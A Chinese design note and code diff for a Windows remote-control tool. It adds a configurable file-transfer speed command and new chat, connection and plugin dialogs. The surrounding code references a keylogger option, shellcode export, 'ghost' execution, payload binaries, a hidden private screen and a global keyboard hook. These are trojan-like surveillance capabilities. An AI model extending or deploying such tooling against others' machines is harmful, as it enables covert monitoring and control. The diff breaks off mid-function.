文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|---|---|---|---|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置,下次打开文件管理会话生效 |
### 4.1 上传方向(主控端本地,无协议改动)
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
```cpp
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
```
### 4.2 下载方向(需下发到被控端)
新增命令 `CMD_FILE_SPEED`,照 `CMD_QUALITY_LEVEL(78)` 的“服务端下发 → 客户端持久化 → 本地生效”套路:
1. **`common/commands.h`**:新增 `CMD_FILE_SPEED = 252`(命令号单字节,252 < 255 安全)。
2. **命令格式**:`[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]`,共 5 字节。
- 传原始 `chunkKb`/`durationMs` 而非档位索引,**避免客户端复制映射表**,映射表只存在于主控端对话框。
3. **主控端下发**:在 `OnOnlineFileManager()`(`server/2015Remote/2015RemoteDlg.cpp:4737`,发 `COMMAND_LIST_DRIVE` 开文件管理会话)发 `COMMAND_LIST_DRIVE` **之前**,先经主连接把当前档位 `CMD_FILE_SPEED`(5 字节)发给被控端;`OnOnlineDesktopManager()`(`2015RemoteDlg.cpp:4723`,发 `COMMAND_SCREEN_SPY`)同理也发一次,覆盖“先开远程桌面再开文件管理”的引用计数时序。两处都在 `SendFileSpeedCommand()`(`:9310`)统一读取并下发。
4. **被控端接收**:在客户端主连接分发 `client/KernelManager.cpp:814` 的 `switch`(`COMMAND_LIST_DRIVE` 所在,`case` 加在 `1280` 附近)加 `case CMD_FILE_SPEED`,把两数写入 `iniFile cfg(CLIENT_PATH)` 的 `[transfer]` 节。
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)改为读 `cfg.GetInt("transfer","ChunkKb",64)` / `DurationMs`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
---
## 5. 配置存储
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `CMD_FILE_SPEED` 写入。
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
---
## 6. 改动文件清单(Windows 端)
| 文件 | 改动 |
|---|---|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnFileTransferSpeed()` 弹出对话框并写回 THIS_CFG;`OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `CMD_FILE_SPEED` |
| `common/commands.h` | 加 `CMD_FILE_SPEED = 252` |
| `client/KernelManager.cpp` | `case CMD_FILE_SPEED` 写客户端配置(主连接 switch,`814`) |
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
---
## 7. 生效时机与提示文案
- 上传速度:重启主控端生效。
- 下载速度:下次打开该主机的文件管理会话生效。
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。`
---
## 8. 风险与备注
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
3. **命令号冲突**:`CMD_FILE_SPEED=252` 需确认 `commands.h` 无重号;252 < 255(单字节 `uint8_t cmd` 上限)。
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
5. **跨平台**:Linux/macOS 客户端下载路径暂不改(`CMD_FILE_SPEED` 会被老/其他平台客户端静默忽略,向后兼容)。
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
---
## 9. 实施顺序
1. `common/commands.h` 加命令号 → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
3. 主控端下发 `CMD_FILE_SPEED` → 客户端接收持久化 → 客户端调用点读配置(下载方向)。
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
Binary file not shown.
+154 -6
View File
@@ -20,6 +20,7 @@
#include "AudioDlg.h" #include "AudioDlg.h"
#include "RegisterDlg.h" #include "RegisterDlg.h"
#include "ServicesDlg.h" #include "ServicesDlg.h"
#include "ConnectionsDlg.h"
#include "VideoDlg.h" #include "VideoDlg.h"
#include <vector> #include <vector>
#include <map> #include <map>
@@ -46,6 +47,7 @@
#include "common/commands.h" #include "common/commands.h"
#include "QualityLevelsDlg.h" #include "QualityLevelsDlg.h"
#include "CPreviewLevelsDlg.h" #include "CPreviewLevelsDlg.h"
#include "CFileSpeedDlg.h"
#include "McpServer.h" #include "McpServer.h"
#include "McpSettingsDlg.h" #include "McpSettingsDlg.h"
#include "common/md5.h" #include "common/md5.h"
@@ -669,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动 m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口 m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启 m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr; m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr; m_ServerBin[i] = nullptr;
@@ -924,6 +929,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen) ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen) ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog) ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient) ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -990,6 +996,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings) ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings) ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1018,6 +1030,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings) ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
ON_COMMAND(ID_TOOL_QUALITY_LEVELS, &CMy2015RemoteDlg::OnQualityLevels) ON_COMMAND(ID_TOOL_QUALITY_LEVELS, &CMy2015RemoteDlg::OnQualityLevels)
ON_COMMAND(ID_TOOL_PREVIEW_LEVELS, &CMy2015RemoteDlg::OnPreviewLevels) ON_COMMAND(ID_TOOL_PREVIEW_LEVELS, &CMy2015RemoteDlg::OnPreviewLevels)
ON_COMMAND(ID_TOOL_FILE_SPEED, &CMy2015RemoteDlg::OnFileTransferSpeed)
ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun) ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost) ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail) ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
@@ -1416,6 +1429,9 @@ VOID CMy2015RemoteDlg::CreateToolBar()
m_ToolBar.SetButtonText(13, _TR("帮助")); m_ToolBar.SetButtonText(13, _TR("帮助"));
m_ToolBar.SetButtonText(14, _T("Lang/语言")); m_ToolBar.SetButtonText(14, _T("Lang/语言"));
m_ToolBar.SetButtonText(15, _T("MCP")); m_ToolBar.SetButtonText(15, _T("MCP"));
m_ToolBar.SetButtonText(16, _TR("连接管理"));
m_ToolBar.SetButtonText(17, _TR("远程交谈"));
m_ToolBar.SetButtonText(18, _TR("主机管理"));
// ============================================================ // ============================================================
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮 // UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
@@ -2220,7 +2236,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
} }
UPDATE_SPLASH(18, "正在初始化文件上传模块..."); UPDATE_SPLASH(18, "正在初始化文件上传模块...");
int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash()); int chunkKb = 64, durMs = 50;
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0); g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
UPDATE_SPLASH(20, "正在加载IP数据库..."); UPDATE_SPLASH(20, "正在加载IP数据库...");
@@ -4349,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]); Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]); Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]); Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -4489,6 +4510,35 @@ void CMy2015RemoteDlg::OnOnlineMessage()
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
void CMy2015RemoteDlg::OnChat()
{
BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天)
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnMachineManager()
{
BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentFileManager()
{
BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN; //向被控端发送打开插件文件管理对话框命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentPrivateScreen()
{
BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN; //向被控端发送打开隐私屏幕(虚拟桌面)命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentDrawingBoard()
{
BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN; //向被控端发送打开远程画板命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
const std::string& dir, const std::string& name, int cmd, int sizeofSize) const std::string& dir, const std::string& name, int cmd, int sizeofSize)
@@ -4720,6 +4770,9 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
{ {
if (!ShouldRemoteControl()) if (!ShouldRemoteControl())
return; return;
// 先下发当前文件传输速度档位,再开远程桌面:避免被控端 ScreenManager 先初始化
// 文件上传模块(进程级引用计数)把速度锁成旧值。
SendFileSpeedCommand();
int n = THIS_CFG.GetInt("settings", "DXGI"); int n = THIS_CFG.GetInt("settings", "DXGI");
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE); BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str(); CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
@@ -4729,6 +4782,9 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
VOID CMy2015RemoteDlg::OnOnlineFileManager() VOID CMy2015RemoteDlg::OnOnlineFileManager()
{ {
// 先下发文件传输速度档位,再发 COMMAND_LIST_DRIVE 开文件管理:保证被控端
// CFileManager 构造时读到的 [transfer] 配置已是最新值。
SendFileSpeedCommand();
BYTE bToken = COMMAND_LIST_DRIVE; BYTE bToken = COMMAND_LIST_DRIVE;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
@@ -5698,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 统一的 V1/V2 授权验证 // 统一的 V1/V2 授权验证
std::string ip = ContextObject->GetPeerName(); std::string ip = ContextObject->GetPeerName();
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH"); auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
valid = authorized; valid = authorized;
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:"; bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
@@ -6612,6 +6668,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
break; break;
} }
case TOKEN_CONNECTION_LIST: { // 连接管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】 case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
break; break;
@@ -7143,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host, std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
const std::string& sn, const std::string& passcode, uint64_t hmac, const std::string& sn, const std::string& passcode, uint64_t hmac,
const std::string& hmacV2, const std::string& ip, const char* source) const std::string& hmacV2, const std::string& ip, const char* source,
CONTEXT_OBJECT* sender)
{ {
BOOL authorized = -1; BOOL authorized = -1;
bool isV2 = false; bool isV2 = false;
@@ -7169,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]"; std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
ExecuteAuthFailedTrigger(sender);
} }
} }
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) { } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
@@ -7190,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]"; std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
ExecuteAuthFailedTrigger(sender);
} }
} }
} }
@@ -7286,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
// 统一的 V1/V2 授权验证 // 统一的 V1/V2 授权验证
std::string ip = ctx->GetClientData(ONLINELIST_IP); std::string ip = ctx->GetClientData(ONLINELIST_IP);
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB"); auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
(void)expired; // 心跳不需要处理过期续期 (void)expired; // 心跳不需要处理过期续期
// 检查并发送预设续期(多点验证) // 检查并发送预设续期(多点验证)
@@ -7803,6 +7866,11 @@ LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam); return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
} }
LRESULT CMy2015RemoteDlg::OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
{ {
return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam); return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
@@ -8718,8 +8786,11 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(), res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime), res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]); ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString()); // 地理信息只在加载了本地 IP 库(QQWry/ip2region)时才查询并展示。
if (m_HasLocDB) { // 未装库时 m_IPConverter 是网络版 GetGeoLocation(同步外网 HTTP,可达数秒),
// 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
if (m_HasLocDB && !res[RES_CLIENT_PUBIP].IsEmpty()) {
std::string geo = m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
CString qqwryLoc; CString qqwryLoc;
qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str()); qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
strText += qqwryLoc; strText += qqwryLoc;
@@ -9280,6 +9351,38 @@ void CMy2015RemoteDlg::OnPreviewLevels()
} }
} }
// ===== 文件传输速度配置([transfer] 节) =====
// 档位表权威来源见 CFileSpeedDlg.h 的 kFileSpeedTiers。存 ChunkKb/DurationMs 两个 int
// 而非档位索引,自解释且直接对应 InitFileUpload 入参,不易错位。
void CMy2015RemoteDlg::OnFileTransferSpeed()
{
int chunkKb, durMs;
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
CFileSpeedDlg dlg(chunkKb, durMs, this);
if (dlg.DoModal() == IDOK) {
THIS_CFG.SetInt("transfer", "ChunkKb", dlg.GetChunkKb());
THIS_CFG.SetInt("transfer", "DurationMs", dlg.GetDurMs());
MessageBoxL("文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。",
"提示", MB_ICONINFORMATION);
}
}
void CMy2015RemoteDlg::SendFileSpeedCommand()
{
int chunkKb, durMs;
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
// [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
BYTE buf[5];
buf[0] = CMD_FILE_SPEED;
buf[1] = (BYTE)(chunkKb & 0xFF);
buf[2] = (BYTE)((chunkKb >> 8) & 0xFF);
buf[3] = (BYTE)(durMs & 0xFF);
buf[4] = (BYTE)((durMs >> 8) & 0xFF);
SendSelectedCommand(buf, sizeof(buf));
}
void CMy2015RemoteDlg::ApplyThumbnailSettings() void CMy2015RemoteDlg::ApplyThumbnailSettings()
{ {
// 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。 // 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。
@@ -11322,6 +11425,12 @@ void CMy2015RemoteDlg::OnMcpSettings()
ApplyFrpSettings(); ApplyFrpSettings();
} }
void CMy2015RemoteDlg::OnConnectionManage()
{
BYTE cmd = COMMAND_CONNECTION;
SendSelectedCommand(&cmd, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnTriggerSettings() void CMy2015RemoteDlg::OnTriggerSettings()
{ {
if (m_DllList.empty()) { if (m_DllList.empty()) {
@@ -11371,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
} }
} }
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
{
if (!ctx || m_DllList.empty()) return;
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
return;
}
// 获取触发器插件列表(从缓存获取)
auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
if (pluginNames.empty()) {
return;
}
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
// 遍历触发器配置的插件列表
for (const auto& pluginName : pluginNames) {
// 查找对应的 DLL
DllInfo* targetDll = nullptr;
for (auto& dll : m_DllList) {
if (dll && dll->Name == pluginName) {
targetDll = dll;
break;
}
}
